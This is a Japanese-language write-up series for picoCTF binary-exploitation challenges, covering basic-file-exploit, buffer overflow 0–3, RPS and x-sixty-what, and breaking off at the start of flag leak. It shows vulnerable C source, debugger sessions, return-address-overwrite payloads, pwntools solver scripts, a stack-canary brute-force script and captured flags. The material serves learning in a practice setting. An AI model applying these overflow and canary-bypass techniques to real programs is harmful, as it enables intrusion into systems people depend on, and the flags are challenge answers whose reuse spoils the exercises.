Open12

PicoCTF-Pwn

t0m3yt0m3y

basic-file-exploit

問題

Description

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!
Connect to the program with netcat:
$ nc {host} {port}
The program's source code with the flag redacted can be downloaded here.

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60


static const char* flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;
    
    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }
    
    
    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


static void data_write() {
  char input[100];
  char len[4];
  long length;
  int r;
  
  printf("Please enter your data:\n");
  r = tgetinput(input, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  while (true) {
    printf("Please enter the length of your data:\n");
    r = tgetinput(len, 4);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
  
    if ((length = strtol(len, NULL, 10)) == 0) {
      puts("Please put in a valid length");
    } else {
      break;
    }
  }

  if (inputs > 10) {
    inputs = 0;
  }

  strcpy(data[inputs], input);
  input_lengths[inputs] = length;

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;
}


static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);
  
  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }
  
  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}


int main(int argc, char** argv) {
  char input[3] = {'\0'};
  long command;
  int r;

  puts("Hi, welcome to my echo chamber!");
  puts("Type '1' to enter a phrase into our database");
  puts("Type '2' to echo a phrase in our database");
  puts("Type '3' to exit the program");

  while (true) {   
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
    
    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
    } else if (command == 1) {
      data_write();
      puts("Write successful, would you like to do anything else?");
    } else if (command == 2) {
      if (inputs == 0) {
        puts("No data yet");
        continue;
      }
      data_read();
      puts("Read successful, would you like to do anything else?");
    } else if (command == 3) {
      return 0;
    } else {
      puts("Please type either 1, 2 or 3");
      puts("Maybe breaking boundaries elsewhere will be helpful");
    }
  }

  return 0;
}
        

解き方

  1. data_writeを呼び出す
  2. data_readを呼び出す
  3. entry_numberに0を入力する

感想

非常にシンプル。

t0m3yt0m3y

buffer overflow 0

問題

Smash the stack
Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:

nc {host] {port}

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

解き方

ソースコードを見ると、signal関数でセグメンテーション違反があった際にsigsegv_handlerが呼ばれるようだ。処理の流れはざっくり以下のようになっている。

  1. main関数内のgetsでbuf1に入力を受け取る
  2. vuln関数の引数としてbuf1を渡す
  3. vuln関数内のstrcpyでbuf1をbuf2にコピーする

manコマンドでgets関数とstrycpy関数を調べてみるとそれぞれ以下のようなことがわかる。

gets関数

バグ
       gets()  は絶対に使用してはならない。 前もってデータを知ることなしに gets()  が何文字読むかを知ることはできず、 gets()   がバッファーの終わりを越え
       て書き込み続けるため、  gets()   を使うのは極めて危険である。  これを利用してコンピュータのセキュリティが破られてきた。 代わりに fgets()  を使うこ
       と。

strcpy関数

   strcpy()  関数は src が指す文字列を末尾のヌルバイト ('\0') も含めて dest が指すバッファーにコピーする。 二つの文字列は重なってはならない。受け側の
       文字列 dest は コピーを受け取るのに十分な大きさでなければならない。 バッファーオーバーランに気を付けること! (「バグ」の節を参照)

上記より大量の文字列を入力すればセグメンテーションフォルトが発生し、sigsegv_handler関数が呼ばれ、フラグを獲得できる。

感想

最初に習うbof問という感じでした。

t0m3yt0m3y

buffer overflow 1

問題

Control the return address

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}


バイナリ情報

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=96273c06a17ba29a34bdefa9be1a15436d5bad81, for GNU/Linux 3.2.0, not stripped
                                                                                                               
$ checksec vuln
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

解法

今回はBoFを使ってリターンアドレスを書き換えます。
vuln関数からgets関数を使用して入力値を受け取っているので、eipを保持しているアドレスを上書きすればよさそう。

$ gdb-pwndbg vuln
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> r
Starting program: /home/kali/workspace/picoCTF2/pwn/BoF1/vuln 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string: 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0x41
 EBX  0x6161616a ('jaaa')
 ECX  0x0
 EDX  0xf7fc41c0 ◂— 0xf7fc41c0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
 ESI  0xffffd034 —▸ 0xffffd219 ◂— '/home/kali/workspace/picoCTF2/pwn/BoF1/vuln'
 EBP  0x6161616b ('kaaa')
 ESP  0xffffcf50 ◂— 0xff00616d /* 'ma' */
 EIP  0x6161616c ('laaa')
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x6161616c

───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcf50 ◂— 0xff00616d /* 'ma' */
01:0004│     0xffffcf54 —▸ 0xf7fc3358 —▸ 0xf7ffdb40 —▸ 0xf7fc3470 —▸ 0xf7ffd9e0 ◂— ...
02:0008│     0xffffcf58 —▸ 0xf7fc37f0 —▸ 0xf7c1abb0 ◂— 'GLIBC_PRIVATE'
03:000c│     0xffffcf5c ◂— 0x3e8
04:0010│     0xffffcf60 —▸ 0xffffcf80 ◂— 0x1
05:0014│     0xffffcf64 —▸ 0xf7e1eff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21ed8c
06:0018│     0xffffcf68 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffd9e0 ◂— 0x0
07:001c│     0xffffcf6c —▸ 0xf7c213b5 (__libc_start_call_main+117) ◂— add    esp, 0x10
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
 ► f 0 0x6161616c
   f 1 0xff00616d
   f 2 0xf7fc3358
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l  laaa
44

次にwin関数のアドレスを調べる。
pieが無効なのでセットされているアドレスを見るだけ。

pwndbg> info functions 
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  printf@plt
0x08049050  gets@plt
0x08049060  fgets@plt
0x08049070  getegid@plt
0x08049080  puts@plt
0x08049090  exit@plt
0x080490a0  __libc_start_main@plt
0x080490b0  setvbuf@plt
0x080490c0  fopen@plt
0x080490d0  setresgid@plt
0x080490e0  _start
0x08049120  _dl_relocate_static_pie
0x08049130  __x86.get_pc_thunk.bx
0x08049140  deregister_tm_clones
0x08049180  register_tm_clones
0x080491c0  __do_global_dtors_aux
0x080491f0  frame_dummy
0x080491f6  win
0x08049281  vuln
0x080492c4  main
0x0804933e  get_return_address
0x08049350  __libc_csu_init
0x080493c0  __libc_csu_fini
0x080493c5  __x86.get_pc_thunk.bp
0x080493cc  _fini

以上を踏まえてペイロードを作成します。

$ python2 -c 'print "A"*44+"\xf6\x91\x04\x08"' >payload
$  nc {host} {port} <payload 
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_ad2f467b}     

感想

教本に出てきそうなret2winの問題でした。

t0m3yt0m3y

RPS

問題

Description
Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60



static const char* flag = "[REDACTED]";

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;
    
    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }
    
    
    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


bool play () {
  char player_turn[100];
  srand(time(0));
  int r;

  printf("Please make your selection (rock/paper/scissors):\n");
  r = tgetinput(player_turn, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}


int main () {
  char input[3] = {'\0'};
  int command;
  int r;

  puts("Welcome challenger to the game of Rock, Paper, Scissors");
  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
  puts("Are you ready?");
  
  while (true) {
    puts("Type '1' to play a game");
    puts("Type '2' to exit the program");
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }
    
    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
      
    } else if (command == 1) {
      printf("\n\n");
      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

      if (wins >= 5) {
        puts("Congrats, here's the flag!");
        puts(flag);
      }
    } else if (command == 2) {
      return 0;
    } else {
      puts("Please type either 1 or 2");
    }
  }

  return 0;
}

解法

じゃんけんで5回連続で勝利したらフラグがもらえる。

ソースコードをよくみていくと、以下の部分でじゃんけンの勝敗を決めているようだ。

if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;

computer_turnはint computer_turn = rand() % 3の結果を格納しており、配列losesとhandsは以下のようになっているため、
ランダムにやれば勝つ可能性があるが、5回連続は難しい。

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};

strstrの内容を確認する。

書式
       #include <string.h>

       char *strstr(const char *haystack, const char *needle);

説明
       strstr()   関数は、部分文字列 needle が文字列 haystack 中 で最初に現れる位置を見つける。 文字列を終端
       ヌルバイト ('\0') は比較されない。

       strcasestr()  関数は strstr()  関数と同様だが、 両方の引数に対して大文字小文字を無視する。

返り値
       これらの関数は、見つかった部分文字列の開始を指すポインターを返し、 もし部分文字列が見つからない場合は
       NULL を返す。

上記よりplayer_turnの内容のいずれかにloses[computer_turn]が含まれていればよさそう。

以上より解法は、rockpaperscissorsを入力するだけ。

Please make your selection (rock/paper/scissors):
rockpaperscissors
rockpaperscissors
You played: rockpaperscissors
The computer played: paper
You win! Play again?
Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}

感想

小学時代を思い出しました

t0m3yt0m3y

x-sixty-what

問題

Reminder: local exploits may not always work the same way remotely due to differences between machines.

Description
Overflow x64 code

ソースコード

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

解法

前問の64bit版。
ほぼ同じやり方で解けるが素直にペイロード書くとリモートでは刺さらない。

調べてみるとスタックアラインメントの関係でペイロードが刺さらないケースがあるみたい。

https://sok1.hatenablog.com/entry/2022/01/17/050710
https://kashiwaba-yuki.com/ctf-killer-queen-2021#a-kind-of-magic

上記記事を参考に、flag関数にジャンプする前にretを入れると上手く動作した。
以下ソルバー。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'


io = start()


offset = 72
ret= 0x000000000040101a
payload =flat(
    asm("nop")*72,
    ret,
    elf.functions.flag
)

io.recvuntil("flag: \n")
io.sendline(payload)
io.interactive()      

感想

スタックアラインメントについては知らなかったので非常に勉強になりました。
対象が64bitバイナリの時は気を付けよう…

t0m3yt0m3y

buffer overflow 2

問題

Description
Control the return address and arguments
This time you'll need to control the arguments to the function you return to!

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

バイナリ関連情報

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1c57f0cbd109ed51024baf11930a5364186c28df, for GNU/Linux 3.2.0, not stripped
                                                                                                               
$ checksec vuln
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

解法

buffer over flow1とほぼ同じだが今回は引数を設定する必要がある。
win関数のディスアセンブルしてみると、スタックから引数を取っているため、padding+retaddr+arguments という形でペイロードを作ればよさそう。

いつも通りcyclicを使ってオフセットを調査すると112バイトということがわかった。
また、win関数のアドレスもpieが無効なためgdbで調べることができる。

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r 
Starting program: /home/kali/workspace/picoCTF2/pwn/bof2/vuln 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string: 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0xc9
 EBX  0x62616162 ('baab')
 ECX  0xf7e20994 (_IO_stdfile_1_lock) ◂— 0x0
 EDX  0x1
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
 ESI  0xffffd034 —▸ 0xffffd219 ◂— '/home/kali/workspace/picoCTF2/pwn/bof2/vuln'
 EBP  0x62616163 ('caab')
 ESP  0xffffcf50 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
 EIP  0x62616164 ('daab')
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x62616164

───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcf50 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│     0xffffcf54 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│     0xffffcf58 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│     0xffffcf5c ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│     0xffffcf60 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│     0xffffcf64 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│     0xffffcf68 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│     0xffffcf6c ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
 ► f 0 0x62616164
   f 1 0x62616165
   f 2 0x62616166
   f 3 0x62616167
   f 4 0x62616168
   f 5 0x62616169
   f 6 0x6261616a
   f 7 0x6261616b
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l daab
112

pwndbg> disassemble win
Dump of assembler code for function win:
   0x08049296 <+0>:	endbr32 
   0x0804929a <+4>:	push   ebp
   0x0804929b <+5>:	mov    ebp,esp
   0x0804929d <+7>:	push   ebx
   0x0804929e <+8>:	sub    esp,0x54
  (省略)
  0x08049309 <+115>:	add    esp,0x10
   0x0804930c <+118>:	cmp    DWORD PTR [ebp+0x8],0xcafef00d
   0x08049313 <+125>:	jne    0x804932f <win+153>
   0x08049315 <+127>:	cmp    DWORD PTR [ebp+0xc],0xf00df00d
   0x0804931c <+134>:	jne    0x8049332 <win+156>
   0x0804931e <+136>:	sub    esp,0xc
   0x08049321 <+139>:	lea    eax,[ebp-0x4c]
   0x08049324 <+142>:	push   eax
   0x08049325 <+143>:	call   0x80490e0 <printf@plt>
   0x0804932a <+148>:	add    esp,0x10
   0x0804932d <+151>:	jmp    0x8049333 <win+157>
   0x0804932f <+153>:	nop
   0x08049330 <+154>:	jmp    0x8049333 <win+157>
   0x08049332 <+156>:	nop
   0x08049333 <+157>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08049336 <+160>:	leave  
   0x08049337 <+161>:	ret    

win関数は引数をebp+0x8,ebp+0xcから取っているので、それを考慮しつつペイロードを作り、それを入力すればクリア。

$ python2 -c 'print "A"*112+"\x96\x92\x04\x08"+"junk"+"\x0D\xF0\xFE\xCA"+"\x0D\xF0\x0D\xF0"' >payload

$ nc {host} {port} <payload
Please enter your string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���unk
picoCTF{argum3nt5_4_d4yZ_b3fd8f66}   

感想

よくこういう問題にdeadbeefとかcafefoodが使われてますけどなんで?

t0m3yt0m3y

buffer overflow 3

問題

Description
Do you think you can bypass the protection and get the flag?

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    fflush(stdout);
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

バイナリ関連情報

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=0432d7d499a116a061e120e7d7ca80ab8c77b194, for GNU/Linux 3.2.0, not stripped
                                                                                                               
$ checksec vuln                       
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

解き方

vuln関数を見ると、最初の入力値からで二回目の入力サイズを決めているようだ。
最初の入力でbufsizeよりも大きい値を与えることでbofを起こせる。

しかし今回は4byteのcanaryが自作されているため、これを特定する必要がある。

4byteとサイズが小さい、また固定の値を使っているため、総当たり出来そう。
一文字づつ上書きしていき、カナリアが変更された時のメッセージが出ない時の値を確認すればよい。

以下は総当たり用のスクリプト。

from pwn import *
import string

elf = context.binary=ELF("./vuln")
context.log_level ="debug"


canary =b""
canary_offset = 64
counter =0

while(counter<4):
    for c in string.printable:
        io = elf.process()
        #io =remote('{host}',{port})
        payload=b"A"*canary_offset+canary
        payload +=c.encode()
        
        io.sendlineafter(b">",str(len(payload)))
        io.sendlineafter(b">",payload)

        result = io.recvall()
        info("%s",result)
        if b"Ok... Now Where's the Flag?" in result:
            canary +=c.encode()
            counter = len(canary)
            print(canary)
            io.close()
            break

これを実行すると

(省略)
[DEBUG] Sent 0x45 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd\n'
[+] Receiving all data: Done (100B)
[DEBUG] Received 0x63 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd\r\n'
    b"Ok... Now Where's the Flag?\r\n"
[*] Closed connection to saturn.picoctf.net port 50122
[*]  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd
    Ok... Now Where's the Flag?
b'BiRd'

canaryはBiRdであるということがわかった。
あとは前問と同様にオフセットとwin関数のアドレスを調べてソルバーを書くだけ。

from pwn import *
import string

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'


io = start()
payload = flat(
    asm("nop")*64,
    b"BiRd",
    b"b"*16,
    0x08049336
)

write("payload",payload)
io.recvuntil(b">")
io.sendline(str(len(payload)))
io.recvuntil(b">")
io.sendline(payload)
io.interactive()   

フラグが取れる。

(省略)
[DEBUG] Received 0x48 bytes:
    b"Ok... Now Where's the Flag?\r\n"
    b'picoCTF{Stat1C_c4n4r13s_4R3_b4D_09d4425a}\r\n'

感想

canaryを総当たりする問題は初めて解いたので勉強になりました。

t0m3yt0m3y

flag leak

問題

Description
Story telling class 1/2

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
